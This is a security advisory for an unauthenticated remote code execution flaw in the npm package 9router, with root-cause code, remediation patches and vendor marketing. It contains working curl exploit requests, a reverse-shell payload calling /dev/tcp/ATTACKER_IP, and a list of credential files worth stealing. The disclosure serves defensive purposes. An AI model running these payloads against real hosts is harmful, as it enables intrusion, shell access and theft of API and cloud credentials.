GHSA-fhh6-4qxv-rpqj
CRITICALGHSA-fhh6-4qxv-rpqj is a critical-severity (CVSS 10) OS Command Injection vulnerability in 9router. O3 Security confirms whether GHSA-fhh6-4qxv-rpqj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fhh6-4qxv-rpqj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-fhh6-4qxv-rpqj plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,399 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
9routernpmDescription
Summary
9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required.
The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.
Root Cause
1. Middleware Allowlist Is Too Narrow
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
],
};
Next.js middleware only runs on routes matching this list. Routes NOT listed — including /api/cli-tools/* and /api/mcp/* — bypass the dashboardGuard auth check entirely.
2. Unguarded Endpoint Accepts Arbitrary Command Registration
File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319
export async function POST(request) {
const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
// ...
const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];
if (customPluginsArray.length > 0) {
const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
const stdioCustoms = customPluginsArray
.filter((p) => p.command)
.map((p) => ({
name: p.name,
command: p.command, // ← attacker-controlled, no validation
args: p.args || [], // ← attacker-controlled, no validation
}));
for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis
}
}
The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins — a process-global Map that survives Hot Module Replacement.
File: src/lib/mcp/stdioSseBridge.js, lines 114–116
function registerCustomPlugin(def) {
getCustomStore().set(def.name, def); // no validation of command/args
}
3. Unguarded SSE Endpoint Triggers spawn() with Stored Command
File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25
export async function GET(request, { params }) {
const { plugin } = await params;
if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });
const stream = new ReadableStream({
start(controller) {
sid = registerSession(plugin, send); // ← spawn() called here
},
});
return new Response(stream, { ... });
}
File: src/lib/mcp/stdioSseBridge.js, line 138
const proc = spawn(plugin.command, plugin.args, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env, // inherits full environment
});
spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.
Attack Chain
Attacker (no credentials)
│
│ Step 1 — Register malicious plugin (POST, no auth)
▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json
{
"baseUrl": "x", "apiKey": "x", "models": ["x"],
"customPlugins": [{
"name": "rev",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
}]
}
← {"success":true, ...}
│ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)
▼
GET /api/mcp/rev/sse
← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
← Reverse shell connects to attacker
Time to exploit from first request: < 2 seconds.
Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).
Proof of Concept
PoC 1 — File Write (no listener required)
# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
-H 'Content-Type: application/json' \
-d '{
"baseUrl":"x","apiKey":"x","models":["x"],
"customPlugins":[{
"name":"rce1",
"command":"/bin/sh",
"args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
}]
}'
# → {"success":true,...}
# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
# Verify
cat /tmp/pwned.txt
Observed output (on local test instance):
uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux
PoC 2 — Automated PoC script
# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444
The script (poc.py) is included in this advisory.
Impact
| Category | Detail |
|---|---|
| Confidentiality | Full read access to server filesystem — API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials |
| Integrity | Arbitrary file write, persistence via cron/systemd |
| Availability | Process termination, resource exhaustion |
| Lateral movement | docker group membership (confirmed in test) allows full container escape → host root |
| Scope | Remote, unauthenticated, network-accessible |
High-value exfiltration targets on a typical 9router host
~/.claude/settings.json—ANTHROPIC_AUTH_TOKEN~/.aws/credentials,~/.aws/sso/cache/*.json— AWS keys$DATA_DIR/db.sqlite— 9router local database (all stored API keys, provider configs)- TLS private keys managed by the MITM proxy (
src/mitm/)
Affected Versions
| Version | Affected | Notes |
|---|---|---|
| < v0.4.30 | No | cowork-settings and MCP SSE bridge did not exist |
| v0.4.30 | Yes | Introduced in commit 8f4d29c (2026-05-11) |
| v0.4.31 | Yes | |
| v0.4.32 | Yes | |
| v0.4.33 | Yes | Latest at time of disclosure |
The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.
Remediation
Fix 1 — Extend middleware matcher (minimal fix)
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
// ADD these:
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Fix 2 — Validate command in registerCustomPlugin (defense-in-depth)
File: src/lib/mcp/stdioSseBridge.js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);
function registerCustomPlugin(def) {
const bin = def.command?.split("/").pop(); // basename only
if (!ALLOWED_MCP_COMMANDS.has(bin)) {
throw new Error(`Blocked: command '${def.command}' not in allowlist`);
}
getCustomStore().set(def.name, def);
}
Fix 3 — Sanitize customPlugins at the API boundary
File: src/app/api/cli-tools/cowork-settings/route.js, line 312
const stdioCustoms = customPluginsArray
.filter((p) => p.command && typeof p.command === "string")
.filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check
.map((p) => ({
name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name
command: p.command,
args: (p.args || []).map(String),
}));
All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | 9router | ≥ 0.4.30&&< 0.4.37 | 0.4.37 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update 9router to 0.4.37 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fhh6-4qxv-rpqj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fhh6-4qxv-rpqj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fhh6-4qxv-rpqj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fhh6-4qxv-rpqj in your dependencies?
O3 detects GHSA-fhh6-4qxv-rpqj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.